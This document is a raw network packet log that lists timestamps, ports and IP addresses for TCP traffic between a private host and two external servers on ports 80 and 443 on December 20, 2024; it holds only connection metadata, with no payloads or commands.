Dec 20, 2024 17:43:30.439059019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.439093113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.439136028 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.440311909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.440361023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.440807104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.440993071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.441771030 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.441817999 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.441901922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.441998959 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.443155050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.443192005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.443219900 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.443316936 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.444535971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.444735050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.444766045 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.444874048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.445950985 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.446046114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.446158886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.446206093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.447408915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.447444916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.448415041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.448465109 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.448911905 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.448949099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.478028059 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.478070974 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.478158951 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.478456020 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:30.478471041 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:30.563796997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.563864946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.563869953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.563941002 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.564515114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.564562082 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.564591885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.564627886 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.565929890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.565977097 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.566183090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.566226006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.567384005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.567435026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.567481041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.567527056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.568731070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.568785906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.568824053 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.568866968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.570255041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.570300102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.570362091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.570404053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.571662903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.571679115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.571702957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.571723938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.573039055 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.573102951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.573118925 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.573230982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.574385881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.574441910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.574604034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.574655056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.575800896 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.575855017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.576150894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.576198101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.577193022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.577213049 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.577240944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.577255964 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.578576088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.578625917 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.578885078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.579082966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.580028057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.580073118 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.580106020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.580188036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.581370115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.581419945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.581715107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.582051992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.582767963 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.582815886 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.582885981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.582988977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.584213972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.584268093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.584428072 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.584470034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.585573912 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.585627079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.585669041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.585705996 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.586992979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.587033987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.587132931 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.587244034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.588435888 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.588449955 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.588517904 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.588606119 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.589826107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.589889050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.589896917 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.589937925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.591201067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.591242075 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.591304064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.591392994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.592669010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.592710018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.592745066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.592755079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.593983889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.594105005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.594152927 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.594477892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.595408916 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.595462084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.595479965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.595690012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.596797943 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.596863031 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.596961021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.597008944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.598289967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.598390102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.598839045 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.598918915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.599642992 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.599689007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.599749088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.600013971 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.601061106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.601130009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.601300001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.601351023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.602411985 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.602521896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.602948904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.602993965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.603831053 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.603884935 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.603967905 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.604038000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.605221033 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.605271101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.605530024 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.605577946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.606630087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.606700897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.606914997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.607007980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.608032942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.608103037 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.608103037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.608144045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.609484911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.609540939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.609596968 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.609638929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.610820055 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.610869884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.611044884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.611135960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.612236977 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.612298965 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.612457037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.612503052 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.613862991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.613924026 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.614108086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.614175081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.615024090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.615082979 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.615178108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.615222931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.616436005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.616482019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.616507053 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.616547108 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.617865086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.617919922 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.618061066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.618110895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.619321108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.619421005 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.619448900 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.619604111 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.620663881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.620733023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.620755911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.620822906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.622076988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.622123957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.622139931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.622256041 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.623487949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.623541117 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.623605967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.623645067 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.624911070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.624957085 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.624958992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.625003099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.626276970 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.626362085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.626636982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.626688957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.627671003 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.627724886 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.627795935 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.627868891 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.629127979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.629226923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.629393101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.629543066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.630523920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.630574942 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.630641937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.630740881 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.631886959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.631957054 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.631989002 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.632194996 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.633302927 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.633352995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.633383989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.633445024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.634799004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.634864092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.634922028 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.634963036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.636193037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.636257887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.636770964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.636822939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.637468100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.637521982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.771509886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.771527052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.771580935 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.771925926 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.771970987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.772901058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.772912979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.772938967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.773082018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.773920059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.773931980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.773960114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.773972988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.774792910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.774873972 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.774913073 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.775722980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.775799036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.775827885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.775909901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.777040005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.777359962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.777405977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.777606010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.777723074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.777760983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.778568029 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.778614998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.778677940 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.778842926 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.779577971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.779624939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.779639006 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.779706001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.780586958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.780600071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.780639887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.781443119 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.781594038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.781634092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.782461882 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.782636881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.782672882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.783319950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.783364058 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.783452034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.783485889 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.784318924 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.784630060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.784667015 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.785453081 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.785737038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.785792112 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.786422014 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.786492109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.786529064 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.787096024 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.787139893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.787596941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.787638903 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.788054943 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.788202047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.788240910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.789001942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.789052963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.789155960 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.789242029 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.789952040 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.789994955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.790141106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.790175915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.790859938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.791074038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.791107893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.791857004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.791902065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.792104959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.792141914 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.792749882 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.792790890 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.792876959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.792912960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.793708086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.793749094 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.793884993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.793922901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.794687986 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.794728994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.794881105 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.794914961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.795644045 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.795686007 CET	49736	80	192.168.2.6	31.41.244.11
